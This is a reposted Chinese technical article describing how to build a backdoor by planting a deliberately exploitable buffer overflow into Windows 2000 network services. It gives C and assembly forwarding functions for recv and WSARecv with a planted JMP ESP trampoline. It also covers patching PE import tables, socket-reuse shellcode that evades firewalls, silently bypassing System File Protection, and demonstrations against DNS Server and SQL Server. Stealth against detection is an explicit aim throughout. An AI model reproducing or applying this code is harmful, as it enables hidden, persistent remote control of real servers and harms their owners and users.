那么由上面的思路進行闡發,我們會想到,做植入一個漏洞的木馬,那么為什么會選植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系統通用性的優勢:在很多的CPU平臺和操作系統平臺上,溢出都是一個普遍存在的漏洞,并且其原理都是一樣的,
這樣的木馬很容易移植。
? 溢出漏洞本身難以被檢查,具備非常好的隱秘性
? 溢出本身就可以做遠程的控制,很多其他的漏洞是通過漏洞獲得權限以后還需要通過其他的方式來進行控制。
? 溢出通過客戶端把指令以代碼的方式發送執行來獲得控制,這些可執行代碼數據可以根據需要進行一定的修改,本身具備一定的靈活
性,本身的攻擊代碼不以服務器端程序的方式留存,只在執行的時候存在于內存堆棧中,很難尋找。
? 溢出的代碼執行是在正常服務的內部進行的,很容易就實現了進程的隱藏,而且注入到一個正常的應用中,其啟動和控制無需要其他
修改注冊表等方式。而且利用本身的端口和SOCKET很容易就能實現通訊的端口復用和SOCKET復用,實現端口隱藏和饒過防火墻。
? 溢出本身對程序的性能等影響很小。且是完全被動方式來工作的。
? 制造一個溢出漏洞比較簡單和容易實現,即使是一個非常安全的應用程序,制造一個溢出BUG很容易,如一個收包的代碼調用:
recv(sock,buf,xxxx,flag),只需要簡單的調整XXX的大小的值就使得其存在了一個溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解決的4個問題
但是真正以木馬/后門方式給應用植入一個溢出漏洞而可以被很好的被廣泛使用,必須要使得這個溢出具備通用化的問題,主要涉及到如下幾個
方面的考慮:
? 溢出點定位
因為溢出的BUF的長度,位置和RETADDR的偏移關系對每個應用程序都是不定的,如果針對每個應用程序都需要手工調整這個溢出點的話,客戶
端就無法實現通用性的代碼,因此需要植入一個可溢出點固定的溢出漏洞。
? JMP ESP代碼提供和定位
溢出代碼通過RETADDR掌握到主動的時候,但由于SHELLCODE在的內存堆棧是動態分配的,是無法準確獲得其地址的,那么需要借重于JMP ESP這
樣的語句來實現跳轉,有些應用可能有這樣的語句,有些應用可能又沒有這樣的語句,而且地址不會是一樣的,隨不同系統和操作系統的版本
也都會變化,因此需要提供一個可固定的JMP ESP代碼的地址給溢出SHELLCODE,來實現通用化。
? 溢出覆蓋后對變量的引用訪問違例
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應用程序的上小文中執行,這些代碼
很可能會引用這些變量,而這些變量很可能已經被我們的覆蓋代碼已經修改,從而導致訪問違例,導致程序終止或被記錄或進行異常處理代碼
而無法執行我們的溢出代碼并且暴露我們的行蹤。
? 溢出覆蓋后執行代碼對溢出區的修改
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應用程序的上小文中執行,這些代碼
很可能會修改我們已經溢出覆蓋的SHELLCODE的內容,這樣在溢出以后就無法正確執行我們想要執行的SHELLCODE,一般來說還會引起異常導致
進程的意外終止和記錄,暴露我們的行蹤。
2. 實現植入通用化溢出漏洞的思路
那么如何有效解決以上問題,實現一個可通用化利用的溢出漏洞呢?我們來展開我們的思考:
a) 思路一:修改擴展堆棧(對于固定EBP/ESP引用有效)
在一個函數 CALL FUN的FUN執行空間下
假設一個應用程序的堆棧空間如下:
ESP----------》變量1到10 占有空間40個字節
??????? 可被我們溢出的BUF1占有空間400個字節
??????????? 其他的變量11到20占有空間40個字節
EBP----------》RETADDR
傳入的函數參數1到4? 占有空間16
那么在進入FUNC執行的時候,其生成的匯編語句會如下:
PUSH? EBP
MOV? EBP,ESP? (這時候的ESP指向RETADDR的地址)
SUB?? ESP,480?? (480是變量總的占有空間的數)
。。。。。。。????????? (代碼執行區)
ADD?? ESP,480
PUSH? EBP
我們修改如上的匯編代碼的語句為:
PUSH? EBP
MOV? EBP,ESP?
SUB?? ESP,1480
。。。。。。。???????
ADD?? ESP,1480
PUSH? EBP
對應的堆棧空間是
ESP----------》變量1到10 占有空間40個字節
??????? 可被我們溢出的BUF1占有空間400個字節
其他的變量11到20占有空間40個字節
多出的1000個字節的空間
EBP----------》RETADDR
傳入的函數參數1到4? 占有空間16
如果對參數的引用都是以EBP+XXX,對變量的引用都是以ESP+XXX的方式的話,我們會發現其對應用的影響沒有,程序依然可以很好的執行,因
為參數和變量相對ESP,EBP的位置并沒有發生變化。但是我們會發現如下幾個有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函數的頭尾地方出現,不影響程序大小,容易尋找。
2. 如果我們可以根據已知的 XXX的大小和BUF的位置,來自動計算和調整XXX的值,就可以實現溢出點定位的問題,如上面的例子,需要
溢出點定位到1000,我們把SUB ESP,480改成 SUB ESP,1040就可以達到定位點是1000的目的。(多出的40是在BUF上面的變量,這和BUF的位
置有關);
3. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個空間里,就能有效的避免SHELLCODE被后續程序執行導致被修改的問題。
4. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個空間里,那么對于前面的空間,由于溢出點位置已定,SHELLCODE不存
在被修改,因此可以對于變量10到20盡可能的有效的數據地址,來減少可能的后續代碼的執行對其的引用導致的訪問違例問題,雖然不能完全
解決,但至少提供了很大的可能性。
這是一個很好的思路,然而現實是殘酷的,因為我們發現原先設想的一個前提在不同的編譯器選項下是不成立的,既
對變量的引用是ESP+XXX,對傳入參數的引用是EBP+XXX,不同的情況生成的匯編代碼是復雜的,既有可能對變量和傳入參數的引用全部是ESP+
XXX的方式,也有可能對變量和傳入參數的引用全部是EBP+-XXX的方式。我們只得利用這個思路繼續思考新的解決方法。
b) 思路二:植 入某個特定函數的轉發函數
那么新的想法就是,針對可以溢出的函數,給他植入一個轉發的函數。也就是說本來在一個過程中有對
recv(sock,buf,xxx,flag)的調用,把他修改成recvadd(sock,buf,xxx,flag),我們附加給應用一個recvadd函數,這個函數只是簡單的對
recvadd(sock,buf1,xxx,flag)進行轉發而已,但是其分配的內存空間和給定的XXX是不一致的,存在溢出的漏洞,那么對這個轉發的recv進行
溢出就可以實現溢出控制了。
3. 植入的通用化通用化溢出漏洞的實現
a) 函數轉發過程和優勢
過程:
i. 開辟一個新的BUF1,長度固定,這樣可提供溢出點固定的溢出
ii. 調用recv(sock,buf1,xxx,flag)進行收包
iii. 將buf1的內容拷貝回BUF,這樣就不會影響正常的應用。
優勢:
可以一舉解決可通用化利用的溢出漏洞的四個問題。
iv. 因為在RECVADD函數中運行,BUF1的分配可以根據指定的溢出點進行分配。并可保證足夠的溢出空間,使得SHELLCODE就在BUF1內存放
而不影響EBP后面的變量
v. RECVADD中可以放置JMP ESP的變形代碼,解決JMP ESP的定位問題
vi. RECVADD只提供BUF1,接收以后再拷貝回BUF,這樣不會涉及到問題3和問題4
vii. 不會影響程序的正常應用,而且附加的函數本身功能比較簡單,非常容易實現,代碼量非常小,1,2百字節以內,而如W2K的PE文件格
式下節是以0X1000H對齊的,因此有足夠的空間加入到PE文件正常的節中而不影響其大小,其他參數的變化。
b) 制造轉發函數的通用漏洞
下面就是最初步的一個對RECV進行轉發的函數的C代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //說明無法通用溢出,因為要不影響正常應用
else
{
num = recv(s,buf1,0x11a9,flags); //擴大到標準指定的溢出點上
if(num>0)?????????????????? //判斷是否收到包
{
if(num<=len) ? //判斷是否溢出,沒有則拷貝內存
memcpy(buf,buf1,num);
else????????????????? //提供JMP ESP的地址,這個地址隨植入時候自動計算并替換掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 檢測溢出和溢出返回地址
判斷溢出很簡單,只需要利用RECV的返回接收字節數字和給定的LEN進行比較就可以,當然也可以利用溢出地址的編碼檢查是否是自己特定的
溢出。
另外就是擴展了足夠的BUF1以后,SHELLCODE完全就可以放在BUF1中而無需覆蓋EBP下面的內容了,這樣就為有效的線程安全返回提供了條件。
因為一個我們的SHELLCODE完成任務以后,這個溢出線程的處理是非常麻煩的,如果中斷掉,對有些應用則會引起異常,如DNS SERVER等就不
會工作,而有些這會中斷和記錄下來,最理想的方式是保存環境完全又返回到原來應該返回點繼續執行。
ii. JMP ESP代碼
我們在附加函數的尾部提供一個如下的匯編代碼的機器代碼:
SUB ESP,XXXX
JMP ESP
(當然為了隱蔽,可以生成其他等效功能的變形代碼,如
MOV EAX,ESP,
JMP EAX)
然后在植入的時候自動計算這個附加代碼的地址,替換掉RECVADD的程序代碼中,在運行檢測到溢出的時候,就將這個地址替換到有效的返回
地址上,實現溢出的SHELLCODE的跳轉。
iii. 其他需要利用的環境變量的保護
同時考慮到如下因素,因在替代函數中提供對如下變量的保護
? SOCKET,便于SOCKET復用
? RETADDR:便于SHELLCODE完成以后,線程實現安全的返回
? 本函數調用傳入的參數大小,以實現SHELLCODE中對ESP/EBP計算安全返回
? 執行前保存函數體外的需要保存的積存器,以實現安全返回
那么下面就是一個考慮了以上情況的對RECV進行轉發函數的匯編代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]???????????????? //檢查LEN是否是大于1000H的應用,
cmp eax,1000H??????????????????? //這樣的應用我們按1000H做溢出點
jg recv???????????????????????? //可能會破壞正常的應用
sub esp,119ch???????????????????? //擴展堆棧到定好的溢出點
mov eax,[esp+11a0h]?????????? //保存SC備SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]?????????? //保存返回地址供SHELLCODE執行完
mov [esp+4],eax?????????????? //以后進行返回
mov dword ptr [esp+8],10h????? //保存壓入參數的占用堆棧的大小
push??? esi????????????????????? //保護外圍積存器
push??? edi
push??? ecx
push??? edx
mov??? eax, [esp+11Bch]
push ?? eax
mov???? esi, [esp+11Bch]
push??? 11A9h????????????????? //替換成可溢出的值
lea???? ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call??? recv?????????????????? //recv轉發
test??? eax, eax
jle???? loc_2
cmp???? eax, esi????????????? //判斷是否接收到包
jle???? loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec ??? eax
cmp edx,0x90909090??? //比較規定的溢出地址值
jne loc_2
mov eax,1010101H????? //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:??????????????????????? //BUF1的內容拷貝回BUF
mov???? ecx, eax
mov???? edi, [esp+11B4h]
mov???? edx, ecx
lea???? esi, [esp+1cH]
shr???? ecx, 2
repe movsd
mov???? ecx, edx
and???? ecx, 3
repe movsb
loc_2:
pop edx????????? //彈出保護的外圍積存器
pop ??? ecx
pop ??? edi
pop ??? esi
add esp,119ch
retn??? 10h?????????? //如果發生溢出則會到指定的程序點上執行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木馬(后門)的在W2K下的實現
我們已經有了一個完備的轉發函數來植入通用化的溢出漏洞了,那么如何這個后門和木馬如何植入應用呢?下面我們就來考慮這個方面的問題
:
a) 整個植入代碼的結構如下
[RECVADD地址] :
存放真正的RECVADD函數的地址,這樣替換對方的JMP [RECV]的[RECV]地址值為這個地址值就能達到實際的JMP [RECV]的效果
[RECVADD函數]:真正的執行代碼區
[RECV跳轉函數]:保存真正的RECV的跳轉地址JMP [RECV]和CALL [RECV]的地址,使得程序可以轉發真正的調用
[JMP ESP代碼]:存放溢出執行時的JMP ESP執行代碼
b) PE文件節點分析和代碼的附加
? 分析節接點空間是否有足夠的位置放置植入的代碼
? 在導入代碼節和執行代碼節的頭部里找到對應的需要替換的函數(此例為RECV函數的地址)
1. 通過GetProcAddress獲取recv的地址,在進程空間的導入代碼節里查找對應地址的導入地址
? 在代碼區內找到jmp [recv]或call [recv]的地址,記錄下來
? 停止服務,以寫打開文件
? 替換jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代碼
c) 附加代碼的自動計算和替換
涉及到自動計算的地方有如下幾處
RECVADD函數本身的位置
RECV函數的真正位置的計算和替換
JMP ESP代碼的位置計算和替換
d) 調用函數分析和導入表的替換
存在兩種調用形式,程序需要分別分析和處理
i. JMP [FUN]的替換
進程在調用FUN的時候,是CALL [FUN],[FUN]為JMP [FUN]的地址,這里面的 [FUN]中才為真正的FUN的導入表中的對應函數的地址
這個只需要替換JMP [FUN]就可以達到對應用的所有調用進行替換的目的
ii. CALL [FUN]的替換
進程在調用FUN的時候,是CALL [FUN],[FUN]為FUN的導入表中的對應函數的地址
這個需要替換所有的CALL [FUN]才能達到對應用的所有調用進行替換的目的
三:通用的遠程溢出的SHELLCODE
1. 函數定位處理
先通過對內存的搜索獲得GetProcAddress的地址,來加載需要使用的API。這個都是屬于通用的技巧了。
2. 通用的SOCKET復用
這里討論的SOCKET復用是在W2K環境下的,針對阻塞式SOCKET情況下的。
a) SOCKET復用的意義
i. 服務器端無需開端口,饒過端口檢查
ii. 使用服務本身的端口進行通訊,被動直接使用客戶端的SOCKET,可以有效的饒過防火墻
b) 基本思路
i. 獲得有效的SOCKET描述符
可以通過SOCKET從某個值遞增,然后通過getpeername判斷是否是一個SOCKET和對應是否是自己的IP地址的SOCKET
ii. 判斷關聯的SOCKET描述符的進程
在獲得SOCKET描述符存在的問題是,由于溢出是在代碼執行返回時才掌握控制權,這個時候很可能SOCKET已被正常的關閉掉了。所以可能需要
我們連2個上去,一個發出溢出包,一個處于對方RECV停等的狀態,如果第一個SOCKET已經關閉的話,可以判斷第二個來進行復用處理,這就
需要SHELLCODE做如下的判斷:
1. 有可能第一個也沒被關閉,那么需要有效判斷出第二個來,只要通過檢查線程的ID是否和當前的匹配就可以
2. 使用第二個SOCKET以前,需要先懸掛起這個SOCKET處理的線程,否則無法正常使用SOCKET
在阻塞式情況下,RECV的代碼會停留在NtWaitForSingleObject的代碼上,那么我們通過判斷線程環境上下文的EIP地址就基本可以獲得大致的
對應的線程,但是也有可能有其他的線程處于同一位置,那么我們可以搜索有效的線程的堆棧空間是否存在對應的SOCKET描述符就可以基本確
定了。
下面就是基本實現的C代碼:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)? //SOCKET描述符從0X50開始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//對應IP
{
//發送字節看是否是已經關閉的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
? SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常處理了
}
//不是的則恢復線程的執行和循環
c) 但是以上對線程的判斷方法只對阻塞式的SOCKET有效,對于非阻塞式的SOCKET卻無法判斷,但對于函數替換這種方式植入的溢出來說
,非常幸運的是:可以確保這個SOCKET在溢出控制的時候肯定不會被關閉,因此我們完全可以只通用SOCKET的getpeername函數嘗試就可以判
斷這個SOCKET描述符了,當然我的例子代碼采用了由植入程序保存這個環境變量的方法來復用這個SOCKET
3. 對環境變量的正常引用
其實我們把三個保存的環境變量都放在溢出的BUF1之前的,相對于跳轉執行的SUB ESP,XXX,JMP ESP后,這個地址是不固定的,可能隨著被
溢出函數在返回之前的RETN XXX的XXX而變化,因此要用一個固定的ESP+XXX來引用這幾個保存的環境變量,需要我們更該對應的SUB ESP,XXX
,JMP ESP的XXX大小,幸運的是,對于每個固定的替換API這個是固定的,因此我們完全可以針對每一個替換的函數寫固定的XXX在內,因為對
不同的替換函數其替換函數的內容也會變化。
我們的溢出植入只對函數調用級別的通用,也就是說無論應用A和B運行在不同的版本的系統上,只要調用了對應的函數C,則對A和B的C函數的
溢出植入都是通用的。
4. 線程完畢后的處理思考
a) 刪除或終止線程
這樣雖然簡單,但是容易引起異常和記錄。
b) 保存線程環境返回原調用點
那么需要保存和計算如下的內容:
保存溢出SHELLCODE執行前的積存器內容
保存需要返回的地址值
計算恢復后的ESP/EBP,好放入對應的地址值。
最大的考慮則是:在恢復積存器后,還需要使用積存器讀取返回地址值并放入返回前的ESP和讀取函數在溢出前提供的函數參數大小使得計算正
常的ESP,因此對于積存器的保護需要一點技巧。
c) 線程安全返回的代碼
sub esp,0x13fc????????? //先開辟一個空間,保護幾個特殊的積存器
push ebp
push ecx?????????????? //因為要二次用到,所以在此處保存eax.ecx
push? eax
sub? esp,xxx?????? //這兒開辟的堆棧空間才是真正的SHELLCODE使用的變量存放的空間
push? ebx????????????? 保存其他的積存器
push? ecx
push? edx
push? esi
push? edi
。。。。。。。。。。。。。。。。SHELLCODE功能代碼
執行完畢以后實現縣城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //殺掉打開的CMD進程
_asm{
mov eax,k???????????? //K是溢出函數傳入的參數長度
mov ebx,retaddr??????? //返回地址
mov ecx,28FCH?????? //ESP回復到開辟的地方
add ecx,eax????????? //考慮溢出函數傳入的參數長度的ESP地址
sub ecx,4???????????? //回到應該放置RET的ESP處
mov [esp+ecx],ebx //存放真正的返回地址
pop? edi??????????? //恢復通用的積存器
pop? esi
pop? edx
pop? ecx
pop? ebx
pop? edi
pop? esi
pop? ebx
add esp,4e4h //ESP減少SHELLCODE使用的堆棧空間
mov? [esp+23F8H],eax?? //寫入K的值,在恢復積存器以后就可以無需再使用其他積存器來使用了
pop ebp??????? //彈出幾個保護的特殊積存器
pop eax
pop? ecx
add esp,23ECH?? //到存放K的堆棧上,這樣就可以用[ESP]來引用這個值而無需使用其他積存器,導致已恢復的積
存器又被破壞掉
add esp,[esp]??? //利用[ESP]引用K實現ESP+K,來計算真正的ESP值
sub esp,4 ? //提前4字節,也就是RETADDR的地方。利用RET進行返回
ret
}
5. 演示遠程SCOKET復用SHELLCODE溢出TEST服務
四:闡發
1. 饒過WIN2K的系統文件完整性保護機制(SFP)
我們的后門和木馬主要的目標是修改運行具備特權的服務和系統文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP機制來保護系統文件
的完整性。那么只有能有效的修改我們需要植入的受系統保護的文件,我們才能達到目的。
網上有很多刪除和更新受保護文件的方法,但是基本思路是同步刪除掉備份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的對應文件,但是這樣會導致系統跳出一個無法正常恢復受保護文件的警告框出來,這樣就會暴露我們的行蹤。
其實修改受SFP保護的文件又不引起這個警告框的方法非常簡單,就是:同時獨占打開這兩個備份的文件,然后再修改受系統保護的文件,修改
完畢之后,過一段時候再關閉獨占打開這兩個備份的文件,這樣文件就可以被正常修改而已不會引發任何的提示。
當然,還有很多其他的方法來達到這個目的,如修改對應文件的校驗標志等,不過這種方法是最簡單和有效的。
a) 演示刪除和更改WIN2K的受保護的系統文件的方法
2. 通用化測試
以上就是一個基本溢出植入型木馬實現的原形,那么我們最后用實際的測試來驗證一下我們的這個原型是否通用和達到我們預期的目的。我們
來做2個實際應用和服務的植入溢出的實驗和通用這個通用化溢出實現我們的遠程控制。
a) 演示DNS SERVER植入recv轉發的遠程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務一樣的SHELLCODE和客戶端
使用和植入溢出TEST服務一樣的木馬執行程序和RECV的轉發函數
??? 唯一不同是給定的木馬執行程序的參數(主要指明需要植入溢出的程序等信息)
1. 演示植入前發送過大包失敗
2. 演示植入后,程序在發送包已經到達我們的轉發程序
3. 演示不影響正常的應用
4. 演示溢出后的控制和正常的返回,服務繼續可用和可繼續溢出利用
b) WSARecv函數的轉發的溢出實現和演示
那么對于RECV轉發溢出大家很熟悉了,但這是否限制了我們的應用呢?因為多數的應用是用WSARECV函數來實現的,其實我們先就有一個結論
是:
我們的溢出植入只對函數調用級別的通用,也就是說無論應用A和B運行在不同的版本的系統上,只要調用了對應的函數C,則對A和B的C函數的
溢出植入都是通用的。針對不同的函數,只要這個函數形如FUN(BUF,LEN),LEN是指定BUF長度的函數,其實都可以被植入溢出漏洞的。
那么我們就來實現一下對WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替換函數
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv?????????????? //判斷是否允許在空間范圍內溢出
sub esp,119ch??????????????? //擴展堆棧
mov eax,[esp+11a0h]???? //保護環境變量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push??? ebx??????????????? //保護積存器
push??? esi
push??? edi
mov???? ebx, [esp+11B0h]?? //保留WSABUF中長度和地址的參數
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea???? edi, [esp+18H] //保存WSABUF的BUF到BUF1中后內容,避免被溢出覆蓋后不能恢復
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr???? ecx, 2
repe movsd
mov???? ecx, eax
and???? ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H? //擴大 WSABUF長度使得其能被溢出
mov???? eax, [esp+11c4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push eax
mov???? eax, [esp+11C4h]
push??? eax
push ebx
mov eax, [esp+11C4h]
push eax
call??? WSARecv ?? //轉發到WSARECV
push ecx??????????????? //保存WSARECV返回的有意義的三個積存器
push eax
push edx
mov edx,[esi+1190H]? //獲得WSABUF的BUF,如果溢出這寫入的返回地址值
mov ecx,[esp+11b4h]? //獲得如果溢出,則需要恢復回去的內容
mov [esi+1190H],ecx? //恢復到BUF中
mov ecx,[esp+1ch]??? //讀取保留的返回地址
mov [esp+11b4h],ecx? //恢復到ESP對應的返回地址上,避免被溢出覆蓋,因先保存WSABUF的時候這個地址已
經被覆蓋了
mov [ebx],edi?????? //寫入WSABUF正常的LEN值
test??? eax, eax???????? //檢查是否接收到包
jne???? loc_4
mov ebx,[esp+11C4H] //獲得收到包的大小
mov ecx,[ebx]
cmp???? ecx, edi??????? //檢查是否溢出
jle???? loc_4
cmp edx,0x90909090? //檢查溢出傳來的返回地址是否和我們規定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea???? edi, [esp+24H] //拷貝SHELLCODE到我們的BUF1,同時恢復WSABUF中其他變量被覆蓋的值,避免以后SHELLCODE
返回后導致異常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
??????? mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H?????????? //寫入JMP ESP的地址,1010101H會在植入時候通過計算進行正確的替換
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop ??? edi
pop ??? esi
pop ebx
add esp,119cH
retn??? 1ch
}
}
ii. 重載異步IO的SOCKET的內存置換的問題
這個替代函數比RECV函數要復雜一些,因為這個SOCKET是一個重載異步IO的SOCKET的,在RECV的時候,其內存是不允許置換的,否則這個重載
異步IO的SOCKET就會成為一個非重載異步IO的SOCKET,這樣就會影響正常的應用。同時對執行WSARECV后被修改的積存器的保護也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但擴大LEN導致溢出的方法,為了正常返回,則將其可能被溢出覆蓋的內容
復制到BUF1上,如果真的發生溢出以后,再將溢出內容拷貝到BUF1,把BUF1的保存內存拷貝到被溢出的BUF上,保證程序的正常運行。
iii. 演示SQL SERVER植入WSARecv轉發的遠程溢出漏洞和控制
制約條件:
??? 使用和植入溢出TEST服務一樣的SHELLCODE和客戶端
?? 使用和植入溢出TEST服務一樣的木馬執行程序,只修改WSARECV的轉發函數體
?? 給定的木馬執行程序的參數(主要指明需要植入溢出的程序等信息)
1. 演示植入前發送過大包失敗
2. 演示植入后,程序在發送包已經到達我們的轉發程序
3. 演示不影響正常的應用
5. 演示溢出后的控制和正常的返回,服務繼續可用和可繼續溢出利用
c) 只修改內存影象避免文件完整性檢查
最后的討論是,同樣,這樣的原理可以只利用到對只修改內存影象來到達溢出植入的目的,這樣就可以避免文件完整性檢查,不過當服務重啟
以后這個后門和木馬則不可利用了。
總結
以上是生活随笔為你收集整理的溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用 Django + Wusgi +
- 下一篇: 深度学习之双线性插值(Bilinear